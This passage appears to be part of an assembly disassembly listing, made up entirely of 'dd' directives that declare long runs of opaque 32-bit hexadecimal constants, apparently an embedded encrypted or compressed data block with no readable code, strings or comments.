		dd 5B2B1109h, 0BAF15D13h, 0B61C8098h, 31D7B883h, 371D90F0h
		dd 3A182D79h, 5F90ECEh,	0B75C6787h, 2990D07Eh, 34F7EAD9h
		dd 0F3770243h, 0EE49931h, 0B2FBE88Ah, 142D454Ah, 91454258h
		dd 4C8FA716h, 40632BEAh, 2EB9D20Ah, 7E900451h, 0F6C9B710h
		dd 0AA434DADh, 0BDFF8A8Ah, 585AF9D4h, 0E61E435Ch, 385A437h
		dd 5E09256Dh, 7A3745ABh, 114A1282h, 3837DB28h, 0CCE07AE0h
		dd 4CBA07C6h, 7102D10Ch, 8AC496FFh, 991A0840h, 0AFA09092h
		dd 0B90AC058h, 0DFFFE869h, 0D113601Fh, 0C282C815h, 8958C432h
		dd 0B70888Ah, 0B2EA5706h, 0BFC5C0CDh, 1A2472A5h, 45BC03Ch
		dd 0F8321EE2h, 48640BCBh, 0EA484102h, 580006C7h, 51011B69h
		dd 0F8602F6Ch, 0B5CC82E0h, 1EB30205h, 67EAFF8Ah, 0CDC1F8AAh
		dd 880601EAh, 0AAC541Dh, 8012B9CAh, 0C52FD0C4h,	28B00207h
		dd 0FE2BA01h, 0EA423925h
		dd 0EFB376E9h, 6633440h, 12D4F80Dh, 490CEA57h, 0BABB5EA9h
		dd 4E3135B4h, 2E80ED95h, 0B963C7BCh, 0EC30C23Fh, 0EA080604h
		dd 71794915h, 5ADF5812h, 42CE443Dh, 35918C7Ah, 6AC1B439h
		dd 24EAAACCh, 5A549730h, 0F0D3D814h, 5AD0A830h,	59F29288h
		dd 82019F46h, 0D617F7EBh, 9BE3D86Ah, 66816716h,	0F388E1Fh
		dd 0F7320C54h, 840F4406h, 0E2D048A1h, 632A5C00h, 140C2E1Fh
		dd 8CB5FE2Eh, 6A481E3Eh, 8CC8343Fh, 1590809h, 3355EA3Fh
		dd 0BB342F63h, 2888059Fh, 0F2C74E30h, 62FDD1E5h, 2225028Fh
		dd 2672D1C1h, 80BF8004h, 3617424h, 0B138D8B4h, 619A2C30h
		dd 0F0C1227Dh, 31ECE007h, 3EBA10C0h, 310064Ch, 2766BB53h
		dd 3C0B0E2Dh, 808B1531h, 0A7AEB73h, 34E9B80Fh, 0D589FF11h
		dd 665E9987h, 0C5C55A21h, 0A8EA8D30h, 0C3A5C227h, 0F0622393h
		dd 9C853A48h, 28C21BC1h, 8AF1D341h, 9B57F578h, 3BFA4D7Ch
		dd 3222348Ch, 92EA06C2h, 0F219CC8Ah, 3A1F50D9h,	475D12EEh
		dd 30C62D12h, 5A81371Bh, 900C84A0h, 7D5F0742h, 0C04E5C4Ah
		dd 0CE8209EEh, 0FD060DE8h, 55BF695Eh, 2B5A9E5h,	0EAC62A10h
		dd 4B2DBB24h, 56B91653h, 9E380451h, 32AE042Ah, 6C9BC6C1h
		dd 255F1092h, 0D2CAC7E2h, 760E5EA2h, 2B338E09h,	9B9F969Bh
		dd 0A4EA0593h, 0C36D7760h, 0A05752Dh, 7B15695Dh, 1B386356h
		dd 0FE280469h, 0A45D321Bh, 413E486Ah, 2DDEF354h, 3B00A7A6h
		dd 2707D31h, 0D2D5ACFCh, 10521010h, 3CDDEA0Bh, 8A05D52Bh
		dd 1A4BC143h, 9C4961C2h, 262CF3ACh, 0B9079620h,	67C38073h
		dd 29D063F4h, 0FF5B5553h, 43DBAFE5h, 0CC695D4Ah, 0ABEA5590h
		dd 550C0E54h, 595606BAh, 37690BCEh, 0BA549808h,	0F60B1290h
		dd 888E0360h, 8794D252h, 3B7E10B2h, 5BF22276h, 8E2C21Fh
		dd 6539F20Fh, 0EDC32D62h, 5DE6B8B5h, 1BF71206h,	0C95F05B4h
		dd 5A07092Eh, 34036582h, 0ED063206h, 0D3306B33h, 75EA9D06h
		dd 396C7A49h, 81690F5Bh, 34C9645Ch, 3B61D7CAh, 60BF1067h
		dd 6F62F8B5h, 9B70B8DBh, 75C2E9E9h, 3C045C66h, 8245956Ah
		dd 9E8DA4Bh, 8C09C782h,	80557158h, 831BCB03h, 20DB9276h
		dd 34504D0Bh, 6D832F3h,	0A8675D0Dh, 61EEEAB4h, 0EF814CE3h
		dd 0ECA7E030h, 0D88910C6h, 0B92240A0h, 6902DB05h, 0F1812A67h
		dd 712D5909h, 4CEBEA0Ah, 434B69DEh, 8092EA76h, 66B4EA12h
		dd 10E9B04Ch, 317C412Ch, 0AABC82EBh, 4237A631h,	98B24426h
		dd 6C8961F6h, 321B64EAh, 1D69481Eh, 0D535552h, 6421B8Bh
		dd 531E494Bh, 32E57F00h, 5BEC28ACh, 0F84B600Ah,	0AA3458DBh
		dd 0A1EA3E42h, 20765250h, 0BA0F98DDh, 0B2070EA0h, 0F0E62100h
		dd 58324648h, 0FC0C56CCh, 4408D8F8h, 60E4821Fh,	0EA79D087h
		dd 35CA4954h, 80538240h, 83EEFC8Ah, 0D1B3F6Ah, 4B33DC1Ah
		dd 14EDF987h, 8A28D573h, 0DEC003E4h, 48580618h,	0D0967A60h
		dd 58AA400Dh, 0D9046717h, 84420501h, 8248A2F7h,	1003BF57h
		dd 8B9C5FF4h, 42B636D2h, 9A691EFh, 6606F369h, 4897F206h
		dd 0F6D0E060h, 9B331A00h, 0CEEC060Bh, 17F6663Fh, 43AB59C2h
		dd 0A23C396Ah, 294D0299h, 424032Dh, 99A13B38h, 0C8DF8B59h
		dd 0E1470CE9h, 0DA02A8C3h, 0D889E2FFh, 64A2661Ah, 124E053Fh
		dd 78561C88h, 800A731Ah, 0BF243C76h, 19150EDDh,	82ACE960h
		dd 0C300091Ah, 8CCB8158h, 0FC14EC41h, 5EF860D1h, 9C241CF7h
		dd 0D967CAF2h, 999F1471h, 61F05A06h, 1046D393h,	307B3654h
		dd 660A6964h, 24530C8Bh, 61546E45h, 3479E9E3h, 3DFF149Dh
		dd 81590761h, 462651C4h, 0C15B0075h, 60560E3h, 0EB814B07h
		dd 0C82FFF09h, 8BE50606h, 0F61E8458h, 0E955C3C3h, 140013F3h
		dd 33546BB9h, 0FE2EBA3Dh, 311C0EEDh, 0D06C59CAh, 8341DDD2h
		dd 5E770C8Ah, 0DFC66F9Fh, 0C8891166h, 0E58717C0h, 3E4F95F3h
		dd 0B998550Eh, 4C010C62h, 8408E6A2h, 5B9B6C4Fh,	9C16E919h
		dd 7B510512h, 0B840FCD8h, 14E78147h, 0EE11037Bh, 337FE11h
		dd 0A33C7DEFh, 790C096Ch, 0A8877A76h, 18C7E5F7h, 172F8C08h
		dd 0DBE535C0h, 48623643h, 570E1A45h, 0E9450602h, 5DD94A0Ah
		dd 22183BACh, 0B7C30C3Ch, 6DBC5F26h, 6734603Bh,	0E7B6D33h
		dd 8105E1C1h, 15F2D780h, 5560E9F9h, 7A902D9Fh, 40722452h
		dd 81601807h, 0F47DA2EEh, 3B34BA7Bh, 0AAC31648h, 0AE3E8768h
		dd 0F110B8EBh, 67E91551h, 9E40AF70h, 0A57451FFh, 0C73085F0h
		dd 73C32818h, 0E2832ADh, 587B1150h, 162D9B33h, 41FBB159h
		dd 0DB8F0C94h, 0DE518B39h, 0B1078D31h, 6FD85C53h, 338EE0Ah
		dd 85A1E3D1h, 6EAFD0CEh, 282CE919h, 0F1F04946h,	0F4131F73h
		dd 65030C05h, 0D340EBC9h, 11142468h, 50516014h,	0B50057B4h
		dd 58E5307Bh, 240EF580h, 447AEC88h, 5FE90283h, 0C396A745h
		dd 0A8097561h, 0E65B6F20h, 80499C5h, 0EA31083Fh, 0C10166F1h
		dd 0C831ECE8h, 55B78348h, 56E2CCD5h, 64008398h,	0BE694D7Ch
		dd 0EA779078h, 5FFE0429h, 8D19A8E9h, 0AC5EE149h, 0D814F753h
		dd 46C9140Bh, 79A3103Ah, 0E8ED5224h, 0ED6806D4h, 3AC0110Fh
		dd 0CA1265BEh, 0E6813814h, 638C163Bh, 0DE05D6F7h, 1C01C6F8h
		dd 8910031Eh, 0E1E45EF1h, 0F75776EDh, 5F73421h,	0E67AB412h
		dd 0D5C00016h, 897BF442h, 0E914DE90h, 13DCEF9Dh, 9855EB88h
		dd 8A0CD2B7h, 9B5BCD87h, 0D75C8C31h, 4803BA3Ch,	0BB318037h
		dd 290B034Ch, 514DE9D3h, 21332C24h, 6B26A4C2h, 4713B17Eh
		dd 55BA5C03h, 0C5810860h, 0ED8332A0h, 2C1F87ECh, 40F35C24h
		dd 434C4481h, 9B54E361h, 0B13FDC1Eh, 4CB396E0h,	0CD9452FCh
		dd 4031BA1Eh, 30D8EA11h, 3C4DC45Ch, 8C228DAh, 93F502FCh
		dd 8D2C5A29h, 3681359h,	0FAC83740h, 447F028Dh, 0A8867B9Dh
		dd 681B1E67h, 0F292C8Eh, 7B2ABDBEh, 0BB5322C0h,	75720BE7h
		dd 33DD212Bh, 0E9504D81h, 0E807C11h, 62D96851h,	879A5B2Ch
		dd 0E7895713h, 0DD945710h, 303C41A0h, 4E71A12Ah, 1D1E464Ch
		dd 70C02640h, 2EF7BA52h, 0E7B7C02h, 285624CAh, 0AFE2C127h
		dd 298EF220h, 0F71450FAh, 79542D2h, 0E72A26D1h,	9FE9D6C0h
		dd 0D370CD84h, 0CE7030D4h, 43598C59h, 826F524Eh, 4631BAE9h
		dd 0F7585597h, 811491F0h, 5AE0458Bh, 7F670CE8h,	0FC065413h
		dd 0C7753E09h, 0B4A5B55Dh, 0BD47D032h, 6E0F4614h, 8AE83105h
		dd 989C476h, 327008C6h,	6CCE8100h, 183F9627h, 58D0B850h
		dd 0EE002D79h, 319ACA18h, 98958C6h, 27CCE9F5h, 443F8C90h
		dd 0FED8180h, 22665B05h, 65245169h, 5358885Eh, 8D685202h
		dd 6111E74Eh, 0A2A3DEE8h, 208228F6h, 5B0316D2h,	0F6F78853h
		dd 0C0FEA3D7h, 1BCFC680h, 3AE3EAE9h, 0E0BA5204h, 6C39504h
		dd 99BA01D2h, 142FD7Eh,	0E24970C2h, 9F661804h, 7080F768h
		dd 44A3CEAh, 0E6E98C19h, 4982116Ah, 935C28EDh, 5D62D565h
		dd 31F2FC2h, 0C2EB1EB3h, 0C503EFC6h, 37A0770Ch,	0E9E5545Bh
		dd 0D9D05121h, 32E9635Ch, 870A887Eh, 0C85CF985h, 38404F07h
		dd 8BC74C01h, 291D5B17h, 953ECBCh, 6490D09Ah, 8B6910F0h
		dd 6BE61210h, 18D9842Bh, 8549BD09h, 1550A24h, 79420768h
		dd 232C8B5Fh, 0BCCD0501h, 5AC29876h, 10F7CA11h,	77DE2862h
		dd 3A9E705Bh, 5A032CF0h, 97C6866h, 0E9195FA6h, 542E95FDh
		dd 9A8B6E24h, 783330FDh, 7AC4F553h, 9414A43Dh, 412E42A7h
		dd 4D2530F0h, 94CC6841h, 819B9146h, 0C1FED7B1h,	0C9824480h
		dd 0B7854050h, 2520E9D1h
		dd 0D7B5480Dh, 0B9026D7Fh, 5393009Ch, 0B409C9B3h, 0DC289Bh
		dd 0E9B2E428h, 60F4418Ch, 0FD14A143h, 1A435B1h,	0FA74594h
		dd 6F21CD29h, 0F7590800h, 0B822CED5h, 2D4322A0h, 9F056102h
		dd 5E80131h, 7B210713h,	8AA6967Bh, 1C87E2D4h, 0C62004C6h
		dd 0D5BB0041h, 0BA4C4A6Ch, 8E269463h, 0A832CDCEh, 0F9B400EBh
		dd 0A502B753h, 0EFC0C7FEh, 0A8934303h, 0F48005E7h, 1AFCE0A3h
		dd 544BF4E9h, 0EC6CF5B2h, 2C555449h, 0FE24F152h, 0D18C3929h
		dd 92876EDDh, 81697131h, 31C64333h, 0BC0D066Ch,	0F766804Dh
		dd 5853F136h, 0B889EADCh, 2CC35481h, 0A2360CAh,	0C83358BEh
		dd 1CC654Ch, 0B32421CEh, 0E5614E36h, 59A139D4h,	0EE3DED70h
		dd 0FB098CC8h, 0F74162E9h, 52D18158h, 0BD555A54h, 9C83246h
		dd 7366104Ah, 1BE9F800h, 1763F7Ch, 68081CD0h, 5D12141Ch
		dd 6D17B871h, 5E6B6800h, 0E6A444B9h, 1E7BB958h,	136F2C0Dh
		dd 50891ECEh, 0F201183Ah, 2C74D670h, 10C0101Dh,	6021510Dh
		dd 2C60BF09h, 4A5EE7B3h, 0F6744837h, 0A0647D28h, 0C1285C90h
		dd 2214BFACh, 899A6073h, 42D1262Eh, 4384C31Dh, 6DB064F8h
		dd 0DF9528E9h, 0EB8324DDh, 685C4033h, 0CD923BF8h, 0E9127592h
		dd 7D4AF641h, 0EE649FC6h, 913421CCh, 7E928C51h,	9400EF23h
		dd 89FC1FDCh, 993C8BFAh, 0E0E84477h, 0B6320F2Dh, 868770C0h
		dd 4271D2FEh, 146D7CEAh, 696297A0h, 4E30A890h, 0C3015BD1h
		dd 0AA209298h, 304B7F94h, 0ED55DDBDh, 0D4916CEh, 696803DFh
		dd 44505C7h, 5FA5A70Eh,	81028418h, 3D7EBh, 71476B8h, 110D75C0h
		dd 2D38E034h, 490010F8h, 7E8C10Ch, 0B160B1E9h, 0B9518014h
		dd 792D4E69h, 0FC81492Ch, 65640B03h, 0CF03B3C1h, 0EFC33F4Fh
		dd 0D1CA29D1h, 0DC638DA5h, 50973078h, 386ABF10h, 0C15E5D12h
		dd 0B281DE0Ch, 3C2F034Fh, 15FF829h, 24D8C29Ch, 9130ACA2h
		dd 56592E4Ah, 910BC767h, 142458D9h, 26FC3A56h, 5B245F02h
		dd 0DC435731h, 860D0669h, 810A878Bh, 0FB3219DBh, 30FF6683h
		dd 0D7D1ECF1h, 344CBB5h, 0CB3DFBBBh, 0E9D8C05Dh, 2AE768F1h
		dd 6D8E0394h, 0CD93C0Fh, 0A51A82Ah, 515CC874h, 59C0309Ah
		dd 940E9568h, 0E680495Eh, 600F426Ch, 0B23E353Bh, 0C08116E4h
		dd 1274255Ah, 105A34FCh, 50580793h, 0FBE9D706h,	500F54E4h
		dd 2C19B252h, 9A66131Ah, 54570E86h, 398A685Fh, 60834A65h
		dd 0EE5CD9C7h, 0DF013512h, 44087A10h, 892851BCh, 7BA6F6E1h
		dd 0E52B1031h, 0F821028Fh, 5505DD80h, 1223140h,	2C27F07Ch
		dd 870FA21Bh, 28C992Dh,	40E2A960h, 2F81047Ah, 507047B3h
		dd 0AADEABC1h, 0E8F02711h, 20CDA1A8h, 0CC4FF94h, 899FE2F3h
		dd 0EAE673D9h, 33342800h, 2B63B825h, 3E52489Eh,	301AC84Ch
		dd 0E571A38Bh, 12D0E508h, 0C1201C92h, 0AA68A10Dh, 8AEA6046h
		dd 3A41BA81h, 0C3F0D001h, 4F47B22Eh, 5C637724h,	6C8AB959h
		dd 8C0DDF30h, 0F14F9277h, 29515E27h, 91204D5h, 42838A1h
		dd 4DEDE9F3h, 0E4195AB4h, 0A4AAECCFh, 59094A50h, 8078424Dh
		dd 10FBED19h, 0E9FD0C77h, 573A2FF2h, 58765A4Ch,	0FACAC099h
		dd 7502B312h, 0D7F73087h, 74E94208h, 4A766E5Ah,	3E80DA07h
		dd 13018033h, 840FC00Bh, 762D310Ah, 0E9590814h,	33FEBAC6h
		dd 7B755748h, 0B4BFF94Ch, 21011EA3h, 0D0E91C4Fh, 0E8B60079h
		dd 4BE63980h, 0BD2CE97h, 1A80BA24h, 9BEE9FFh, 5C41729Eh
		dd 0CD483166h, 81CF40ECh, 54F7EB05h, 39807D22h,	17534306h
		dd 85E5B56h, 0B70E84C2h, 0C219E99Dh, 49635979h,	50F0E486h
		dd 8BE85480h, 0C4B12C59h, 0C5A0E6E9h, 3C942768h, 71E70898h
		dd 0E90DBB09h, 682D40DAh, 0D197AB9Dh, 0C04D6F5Ah, 135CC9DFh
		dd 0F8DD419Dh, 5B0E3633h, 17FA2C26h, 0FB1036A6h, 83AF084Bh
		dd 0B2709AB4h, 3BF5752h, 3EE14AB8h, 0B13BCBAh, 0DB0AFA31h
		dd 69EEF7D5h, 570987C5h, 0BA62793Dh, 8B0983CBh,	0D790888Bh
		dd 281699BAh, 0D71C6ACDh, 2BC0D9E4h, 4F21CB4Bh,	0B6CBC355h
		dd 60DF2610h, 51CBEE5Ch, 6E50B84h, 0F3600C87h, 9A222BE9h
		dd 315C338Ch, 0E90D06D8h, 1F4D6008h, 5EB668C3h,	0C560CA94h
		dd 908AC980h, 0E96C0B25h, 944E1988h, 68858896h,	0E3307C97h
		dd 5671E954h, 14F1856h,	5F11EC36h, 0A249710h, 68501660h
		dd 8D1F48B5h, 0C5E02DEh, 0BA520EFEh, 18076E2h, 135D73EBh
		dd 21565BDEh, 48348B1Ah, 8428E98Fh, 0E9A8EFEh, 0B45BBD9Ch
		dd 0F7552034h, 632C68E1h, 98CA5D14h, 25CE5408h,	53EE4488h
		dd 65E94A16h, 0C1483F41h, 7CE408E0h, 8185BC20h,	3A96758Dh
		dd 5EB59829h, 92A6E9A1h, 169380D4h, 6F50F13h, 97E7EFC1h
		dd 28D22D40h, 645D29E0h, 0CA8C3034h, 335F31FDh,	522B8Bh
		dd 2D08CCB4h, 7F1166E1h, 40C01202h, 6C18006h, 0F6C9FED8h
		dd 0DF700ED1h, 5859C826h, 0B623A08h, 88407AE9h,	2106FDBBh
		dd 0EBC10F08h, 92DB79E4h, 4E4422EAh, 0E5E20FA2h, 0E7084353h
		dd 0DC2CFAh, 2C2B6856h,	5E7934CEh, 1039F24Ch, 145E7E62h
		dd 82201627h, 0CC5E4BA1h, 0D03EBDF1h, 862EA7E1h, 26AA581Ch
		dd 0CB283519h, 0F1C29C13h, 685E2248h, 99358027h, 0AC611DCh
		dd 224C0B5Dh, 0F661E4C6h, 560E6843h, 7A37F876h,	0E35A2478h
		dd 5F045E5Bh, 860040E2h, 515366DDh, 8817B506h, 7B758BEFh
		dd 0F3018073h, 2C925DEEh, 95F9BA04h, 75F4F51Ah,	3C3BB8C3h
		dd 0D3A60C08h, 9A0820D4h, 0B1E91209h, 219ECC7Ah, 6725F1B2h
		dd 0B5A220D4h, 987E602Fh, 0B174F8Dh, 9CC4552Ch,	81802574h
		dd 0A312C744h, 29701161h, 7410BE6Ch, 0AB900CA4h, 92F17122h
		dd 29A46Ah, 73F2BB53h, 0F381781Fh, 0C0047DE8h, 5BDF2971h
		dd 53484CC1h, 2AE961F0h, 23AF8060h, 79093EC4h, 0C8166842h
		dd 201D9277h, 8CA2CC94h, 0F0203B85h, 5107AD15h,	45C6B850h
		dd 0BD841254h, 0A4AACD82h, 0CDD756E7h, 9A772392h, 204C6EF0h
		dd 0B051DA7Ah, 4FAA6DDFh, 83C8F81Fh, 215C0929h,	0C2098D00h
		dd 557EE2D1h, 408C7F49h, 0D898F2D9h, 3A4F7A26h,	0EE83D51Ch
		dd 70685A5Dh, 45294869h, 0E2945749h, 4A607900h,	5FFE210Eh
		dd 64CE8100h, 0D14E7F7Bh, 0DE912EEh, 0CD30911Ch, 0E1240444h
		dd 33AEEC04h, 1A0B1214h, 0A4034F49h, 2B0135F8h,	669D1C77h
		dd 731058h, 0BF1CCB20h,	158F6CC7h, 86127F4Fh, 0E5D94E4Eh
		dd 99326137h, 802A71B8h, 23821540h, 0CAF1C601h,	0CC580884h
		dd 0AE9B5ECBh, 0E98C3E2Ch, 0B65F7BAFh, 25E702C3h, 81E38AD7h
		dd 0CF61E213h, 3805DF35h, 0A1D06BCEh, 15AD6B9h,	834913FDh
		dd 30D1FFC1h, 6A525906h, 19581476h, 5B897975h, 66E19C60h
		dd 5A662A4Ch, 4916C520h, 0C910A933h, 0CF800108h, 0FEDFF6A4h
		dd 0DCC6E1D7h, 0B504A004h, 0B4222BF7h, 452DF954h, 41368D05h
		dd 24CAE934h, 1CEC5260h, 5E95839Ah, 0C1298D3Fh,	25ABFC47h
		dd 0DE20C2A6h, 0B85B4C68h, 9992053Bh, 0BBFD8C20h, 0C6AC2940h
		dd 3F549B5Ch, 0F0219580h, 3A88D9B4h, 91F61228h,	0CAEAFBh
		dd 3080F3B5h, 9A068BE5h, 22B0D5F6h, 0DA466C4Eh,	30C743Eh
		dd 9B116B3h, 44CD9F6h, 77D63818h, 0C0224490h, 64F50556h
		dd 85AC948Dh, 264CA6D8h, 334418C3h, 0EEE7F991h,	53C9E72Ch
		dd 5997C765h, 13EB3192h, 6314336h, 0EE5C4C0Dh, 728384h
		dd 0C34B3CBBh, 0CB810356h, 514D5E03h, 32474605h, 0AD0C6284h
		dd 0EE381E02h, 313C5AD8h, 0C43EBAABh, 58902FB4h, 4B47F201h
		dd 0D32906BDh
		dd 6234EE20h, 5D76A309h, 94F8BEA5h, 17C7823Ah, 5390DB58h
		dd 0CB7C9800h, 3DA72543h, 49E9E228h, 5A044293h,	0D9FA8742h
		dd 5FF10317h, 0E9571605h, 0C296EA7Eh, 1F403194h, 0E05207BAh
		dd 7400341Bh, 0E6E28122h, 2823A901h, 9ECBDAF7h,	8850070Bh
		dd 0A2C227D8h, 6148F224h, 0BD7155E6h, 1FCE2C5Ch, 7D05E581h
		dd 35C04341h, 50630A53h, 0C1AE90Bh, 455F0E01h, 5B18A10Eh
		dd 0AE0C3EFEh, 6A54136Dh, 0B3781401h, 3F6C1E10h, 32482B9h
		dd 0C4CF2943h, 1F672581h, 19C1F44h, 4C2A3200h, 2A68595Eh
		dd 50101323h, 0B0010EBDh, 0F05E298h, 12DD7693h,	3D49C82Fh
		dd 60319241h, 0F6B44FA9h, 24239C8Ah, 0EB313F40h, 26AB17Ch
		dd 1DDA5C4Eh, 445276C6h, 0FB5D3E0Ch, 1DF71FBh, 374011Eh
		dd 0C7B9005Eh, 0E90B0217h, 3C96C943h, 0D244DF92h, 4CA21C8Bh
		dd 6388E425h, 411703D2h, 8BDA3832h, 93B8BF0h, 5F5192C5h
		dd 10F9F850h, 8759F759h, 0CA873977h, 8922B376h,	600EEEC1h
		dd 0B2F09B60h, 0F169011Dh, 41C5A3Eh, 0B44FE6E1h, 0B7AA800Ch
		dd 64162512h, 6709CD89h, 78965EFh, 24CF8747h, 0D384E1F9h
		dd 23621050h, 81C2E804h, 75A8C731h, 35AFD39h, 1ACFE97Dh
		dd 0C3904040h, 0FBA4EE00h, 5BDD01FCh, 8EE91253h, 70EA461h
		dd 0B08C594Ah, 1F9E2568h, 0E65A289Bh, 0D3934671h, 30585F01h
		dd 92AAB079h, 0AE4D9D59h, 4FB4A02Bh, 0B988FEB4h, 15A0663h
		dd 85F661F5h, 0B95C5740h, 16EA09FFh, 892BFC6h, 27539382h
		dd 42DDE989h, 2A58523h,	75990B04h, 1EB8302h, 9C18780h
		dd 8EB8127Ch, 91381B0Fh, 89EF83A1h, 149A815h, 19E927DFh
		dd 0F799209h, 704F6842h, 0A545858Eh, 44056C09h,	0E8AC2703h
		dd 973C690Ch, 0BC229A6Ch, 170C90E7h, 0E934D7D2h, 0F3A0D406h
		dd 0C7F5FD12h, 17680A85h, 9CF6404h, 4765C6F2h, 9D0346A8h
		dd 13EBB71h, 82841FEh, 40A78A20h, 2B9C873Bh, 0DA882965h
		dd 0C81554EDh, 3292CD30h, 0A60DA606h, 0C0892B1Ah, 0C6E013CFh
		dd 0E70538A1h, 6158AE34h, 589A8182h, 0EFC0032Ah, 51C78008h
		dd 0CA2669Fh, 0F930230Fh, 3E9E55Bh, 734E4782h, 2E8790A4h
		dd 0E025F85Ch, 0EE0FB134h, 2044B6A1h, 2E60AC3h,	1AE13469h
		dd 88C293CBh, 1100A1CCh, 2D37614Fh, 7D59EC6Fh, 95C54B30h
		dd 31E7491Bh, 7A689EE8h, 5824394Bh, 0EC138ACBh,	0C47D5E87h
		dd 0A2712A68h, 2E3378A5h, 1FD2935h, 0B151661Bh,	0D9CB28B9h
		dd 9963D259h, 90915B92h, 41252A02h, 18073F83h, 0D4C6D443h
		dd 55485753h, 397C05D5h, 3F805D5Ah, 0EE5841CAh,	4CD57A31h
		dd 60E72989h, 57159BF7h, 69E96715h, 136509Dh, 0C369395Ch
		dd 186DA468h, 0A814877h, 182C33BFh, 0CD01C7F4h,	1DB0BE7h
		dd 0C20BCE3Ch, 93461A88h, 7C6A46B0h, 0C203CAB1h, 0D916E607h
		dd 917DF3D1h, 80023904h, 4AA85Ah, 6D577ACEh, 4026E965h
		dd 5B076676h, 0F1885150h, 8A59C821h, 44E5FF35h,	132B453Bh
		dd 4A84B270h, 0C599634Ch, 3FB40050h, 0ECC0CCFEh, 0C4488007h
		dd 0F15D515Fh, 698D576Ah, 0DBA494F1h, 5BA5C640h, 209698F6h
		dd 29247C48h, 310F1647h, 0EC826AD2h, 0FFFA2D81h, 8AE97308h
		dd 5F2C7D2Ch, 53690C45h, 7100C24Fh, 5107261Eh, 0EE4D5BB9h
		dd 0CA29040Ah, 0A4525E59h, 0E92C5ADBh, 888BC16Dh, 0A337CCDAh
		dd 0EDE8DB64h, 131DEF1h, 6354F825h, 50BC02C2h, 79BE97D8h
		dd 7A098AA8h, 2D6EF902h, 5A795F64h, 6C0507E2h, 590B410Eh
		dd 3500C1DAh, 316956DFh, 0C058C501h, 0FB61EFCAh, 0D909F75Bh
		dd 9A42F4E9h, 3D9842Dh,	7F30BD4h, 16D670D0h, 0D575CCF9h
		dd 9791A2A6h, 2D854712h, 91337582h, 2F4A34FFh, 0C11AE916h
		dd 0DC8DB78Dh, 0A1C83C6Eh, 0B53F210Ch, 8ACA8444h, 4F1304A6h
		dd 0C122730h, 0E23164F0h, 0E340E998h, 0F55BA9BEh, 0BCD5242Fh
		dd 0BE9A1A9h, 5D4F092Eh, 6C0EA850h, 0C0083848h,	441258CDh
		dd 0AEDB820h, 325C77FBh, 793337F4h, 5668B221h, 0CFA63C38h
		dd 7F89B766h, 3136A928h, 0C6800D06h, 0D5C05DE6h, 412A10F1h
		dd 0CB291F11h, 0D83B8B59h, 687B4D14h, 4ACD2C53h, 0BE126CCAh
		dd 788FF213h, 4306462Ah, 0FF886E90h, 0FB78875Fh, 2256BF2Fh
		dd 18384AC7h, 5073C688h, 0F5E9F40Bh, 0F6F8CE12h, 0ADE5A9AAh
		dd 0BEDD3ED8h, 44044B37h, 48FAF8E2h, 3F9C1B69h,	0E697E167h
		dd 0E1485B2Fh, 0D048B2BFh, 6816B9C6h, 15645305h, 86F40DB5h
		dd 0B98F992Dh, 0FCE9C786h, 8102D71Eh, 0C25543EAh, 886623Dh
		dd 5704088Fh, 0F90F9E9h, 9710B268h, 309C7419h, 29324362h
		dd 0F159E3C8h, 4B064863h, 0EF5C3DAEh, 0EA856F81h, 36820446h
		dd 0E3C1217Eh, 8A042E08h, 5D095BA1h, 0A096D8AEh, 9A2D68AAh
		dd 95F9982Ah, 35C7181Fh, 69A5118Bh, 55D9F2A9h, 6B8507A7h
		dd 0C15D1460h, 0E8E6D1DBh, 981784F6h, 64098726h, 9DDDAF0Eh
		dd 0B23CDECEh, 50E5E4E1h, 5C9DB8ECh, 0C2063558h, 632891E9h
		dd 47C3652Ch, 9A9FBB81h, 0E620BCD1h, 4F5673DDh,	5D41C2EEh
		dd 197E851h, 0F904D7D4h, 41F53A56h, 6893C0EAh, 5087FAD9h
		dd 0EE7D35Ch, 7B33B71h,	327FBCD8h, 110C1260h, 74333074h
		dd 0FD0195E9h, 0C05AF028h, 406404D8h, 278805A8h, 92CB225h
		dd 0C6FE72B6h, 0F0E0A3D8h, 0ED32169Fh, 6951E909h, 0DB8F847Ah
		dd 0B9FC3412h, 65BD2424h, 2801B782h, 33A8C0F8h,	2C8981D8h
		dd 3E204AE4h, 60F707EFh, 124CCCD7h, 0E7F60BF3h,	0C206036Ah
		dd 49B508h, 5242E6BDh, 0ED04817Ch, 5BEE3E30h, 4B013AC7h
		dd 0E3A4F82h, 2600F5C5h, 8DE90BAEh, 0C478E26Bh,	9E04403Dh
		dd 55CD2D4Fh, 8A4FA326h, 1AE152A5h, 7AF5CA08h, 0D30DA18Ah
		dd 6110893Dh, 0B57B40C2h, 5E00BCBCh, 1A691125h,	0CB350446h
		dd 0C70FBD56h, 9547D0D3h, 0FA162924h, 0D8234E9h, 4A40405Ah
		dd 0F1770F22h, 0A7C4CF31h, 7510E4D1h, 0FC13B40h, 0C8310EE8h
		dd 0D2E08967h, 0C07C7AB2h, 78862882h, 0E8DE6013h, 75B6016Dh
		dd 9EE9EF29h, 8026874Ah, 0C33310F6h, 9063FAFh, 44791613h
		dd 0B851D41Dh, 0E285CA20h, 327066A7h, 1AFAC884h, 127896AAh
		dd 83EC8CE6h, 74B50CD3h, 82083F30h, 612036F2h, 43BA0774h
		dd 0A3D74806h, 855A5B23h, 8348D4h, 525E9AEFh, 545305A6h
		dd 56D252E9h, 3530898Bh, 106729EEh, 0B91C301Fh,	628D7D27h
		dd 350B29BBh, 35B6001Eh, 1B4C9E20h, 0BE1838B3h,	0A10C5AF0h
		dd 2751B182h, 39C337B1h, 0E1C020DFh, 0B27B5206h, 0D44BCFF0h
		dd 1B7973D0h, 543F7BE8h, 248899A2h, 80958E1h, 8520029Dh
		dd 10758E27h, 59906812h, 8FD2E441h, 0B3845A90h,	6A951EF8h
		dd 416A1111h, 0E91808CDh, 30094B26h, 584CB169h,	0F0245479h
		dd 0F358131h, 3A53802Ch, 508AB116h, 0DBF71Eh, 5166DDF3h
		dd 0D848296Bh, 2BEB07C5h, 0E08FF911h, 0EA12DBC3h, 9246D61Eh
		dd 1F560C64h, 805FD01Fh, 0DF286ACEh, 0FA06817h,	27D87631h
		dd 54134F16h, 380B39F9h, 9F1E49BBh, 36C0A90Ch, 6CF50780h
		dd 6E59EC20h, 0E5282762h, 0ED705B54h, 0F6E92D06h, 0E2531A85h
		dd 0D38F3985h, 952458A8h, 4D114C7Eh, 2601270Dh,	0A07F6A33h
		dd 0B62FD9C9h, 8BC54F9Ch, 0D4F42311h, 9CC07D5Ah, 3E4BD7BEh
		dd 0B0A755CEh, 6DEEEFE8h, 53344316h, 6C114900h,	4889C233h
